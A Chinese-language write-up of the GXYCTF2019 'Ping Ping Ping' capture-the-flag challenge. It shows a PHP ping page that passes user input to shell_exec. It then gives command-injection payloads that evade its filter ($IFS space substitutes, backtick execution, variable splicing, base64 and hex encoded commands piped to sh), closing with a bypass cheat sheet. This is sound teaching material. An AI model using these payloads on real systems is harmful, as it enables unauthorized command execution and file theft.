首页 > 其他分享 >[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

时间:2024-07-16 17:52:13浏览次数:20  
标签:echo IFS ip Ping cat flag php GXYCTF2019

[GXYCTF2019]Ping Ping Ping (命令执行绕过总结)

题目来源

收录于:BUUCTF  GXYCTF2019

题目描述

img

提示较为明确,get方法传参127.0.0.1后结果如下

img

比较容易想到联合执行命令,先看有哪些文件

img

尝试直接读取flag.php

img

读取失败,对空格进行了过滤。

题解

以下内容参考文章:https://blog.csdn.net/vanarrow/article/details/108295481

对空格的绕过比较简单,在kali默认的shell中验证后得出,绕过可用以下方式

${IFS}
${IFS}$9        //这里$1到$9都可以
$IFS$1          //这里$1到$9都可以
<
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)       //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09   (tab)
X=$'cat\x09./flag.php';$X       // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X       

内联执行:将反引号内命令的返回值(即输出值)作为整条命令的输入值
例如当命令为:

cat `ls`

即cat读取当前目录下的所有文件

img

因此可以使用上面的绕过方法配合内联执行,例如:

cat$IFS`ls`
cat$IFS$9`ls`

先读取一下index.php的源码

?ip=127.0.0.1;cat$IFS$9index.php

img

美化后代码如下

<?php

$ip = $_GET['ip'];

if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");                   //不能包含的字符:& / ? * <  >  " \ ( ) [ ] { } ASCII值0到20之间的字符
} else if (preg_match("/ /", $ip)) {
    die("fxck your space!");                //  不能包含空格
} else if (preg_match("/bash/", $ip)) {     //不能包含bash
    die("fxck your bash!");
} else if (preg_match("/.*f.*l.*a.*g.*/", $ip)) {   //flag这四个字母不能按顺序出现在字符串中
    die("fxck your flag!");
}

$a = shell_exec("ping -c 4 " . $ip);
echo "<pre>";
print_r($a);
echo "</pre>";

?>

我们看到不能直接输入flag进行文件的读取,但是可以使用变量赋值的方式,例如:

?ip=127.0.0.1;X=g;cat$IFS$9fla$X.php

字符串fla和变量$X拼接形成flag,成功绕过,flag显示在页面源码中

img

以下payload也可行:

?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
?ip=127.0.0.1;X=la;cat$IFS$9`ls`        //内联执行配合空格绕过

但以下payload不可行:

?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php

因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析

此外也可以使用base64编码绕过。虽然过滤了bash,但是可以使用sh

?ip=127.0.0.1;`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

总结

绕过空格

${IFS}
${IFS}$9        //这里$1到$9都可以
$IFS$1          //这里$1到$9都可以
<
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)       //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09   (tab)
X=$'cat\x09./flag.php';$X       // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X       

内联执行

cat `ls`

变量赋值

X=g;cat fla$X.php

base64编码绕过

echo Y2F0IGZsYWcucGhw|base64 -d|bash
echo Y2F0IGZsYWcucGhw|base64 -d|sh
`echo Y2F0IGZsYWcucGhw|base64 -d`

Hex编码绕过(前提:安装xxd)

echo 63617420666c61672e706870|xxd -r -p |bash
echo 63617420666c61672e706870|xxd -r -p |sh
`echo 63617420666c61672e706870|xxd -r -p`

其他方法

cat fl*                 //用*匹配任意 
ca\t fla\g.php          //反斜线绕过
cat fl''ag.php          //两个单引号绕过
cat fl[a]g.php          //用[]匹配
cp fla{g.php,G}         //把flag.php复制为flaG
ca${21}t a.txt          //{}中可以是任意数字

标签:echo,IFS,ip,Ping,cat,flag,php,GXYCTF2019
From: https://www.cnblogs.com/MrSoap/p/18305781

相关文章

  • Linux——添加默认路由(能ping通本网段,但是ping不通其他网段)
    2024/07/151.问题描述2.问题处理3.其他问题1.问题描述昨天服务器突然断电,今天重启后,网络出了些问题,具体情况如下:能ping通本机IPping不通网关ping不通本网段其他IP地址ping不通其他网段地址2.问题处理vi/etc/sysconfig/network-scripts/ifcfg-ens32检查了网卡配置文......
  • three.js基础之clipping
    clipping<canvasid="mainCanvas"></canvas><scripttype="importmap">{"imports":{"three":"./js/build/three.module.js","three/addons/":"./js/jsm/&quo......
  • Solution - Atcoder AGC022D Shopping
    考虑到不管怎么走,都是\(0\)最后又绕回\(0\),于是答案肯定是\(2L\)的倍数。那么考虑\(\frac{\operatorname{ans}}{2L}\)即可。那么对于\(t_i\),可以先让答案加上\(\lfloor\frac{t_i}{2L}\rfloor\),同时令\(t_i\leftarrowt_i\bmod2L\)。原因就是考虑到这被去除掉的\(2......
  • linux命令中arping的使用
    linux命令在线查询工具https://wheart.cn/onlinetools/linux_command/index.htmlarping通过发送ARP协议报文测试网络补充说明arping命令是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络......
  • 分库分表策略深入解析:基于范围(Range)、基于哈希(Hash)以及基于映射表(Mapping Table)
    目录前言   1.基于范围的分库分表(Range)2.基于哈希的分库分表(Hash)3.基于映射表的分库分表(MappingTable)前言     分库分表是数据库优化中的一项重要技术,它通过将数据分散到多个数据库或表中,以提高系统的处理能力和响应速度。本篇将详细解析三种常见的分库......
  • Doping:使用精心设计的合成数据测试和评估异常检测器的技术
    在这篇文章中,我们将探讨测试和评估异常检测器的问题(这是一个众所周知的难题),并提出了一种解决方案被称为“Doping”方法。使用Doping方法,真实数据行会被(通常是)随机修改,修改的方式是确保它们在某些方面可能成为异常值,这时应该被异常检测器检测到。然后通过评估检测器检测Doping记录......
  • flutter pub get 的时候:A dependency specification must be a string or a mapping.
    想在pubspec.yaml文件中添加字体:报错了fonts:-family:MiaoZifonts:-asset:assets/fonts/MiaoZi-YunYingTi-2.ttfweight:500看了这篇文章解决了我原来是加在dependencies:flutter:sdk:flutter#新添加的依赖fonts:......
  • Sping AI(初步了解)
    一、什么是SpringAI  二、SpringAI的主要特点SpringAI提供的API支持跨人工智能提供商的聊天、文本到图像、嵌入模型等,同时支持同步喝流API选项;1、ChatModels聊天模型OpenAIAzureOpenAIAmazonBedrockCohere'sCommandAI21Labs'Jurassic-2Meta'sLLama......
  • srpingboot 自定义 start
    自动配置工程绑定配置文件,上逼格的start都支持自定义配置,我们也装像点~~@ConfigurationProperties("cyrus.hello")publicclassCyrusHelloProperties{//绑定配置文件cyrus.hello.username属性privateStringusername;publicStringgetUsernam......
  • Body Clipping Geometry
    BodyClippingGeometry实体剪裁几何图形是通过使用仅涉及半空间实体的差分运算的构造实体几何模型来表示产品的三维形状。 应使用保持该几何表示的IfcShapeResentation的以下属性值:IfcShapeRepresentation.RepresentationIdentifier ='Body'IfcShapeRepresentation.Repr......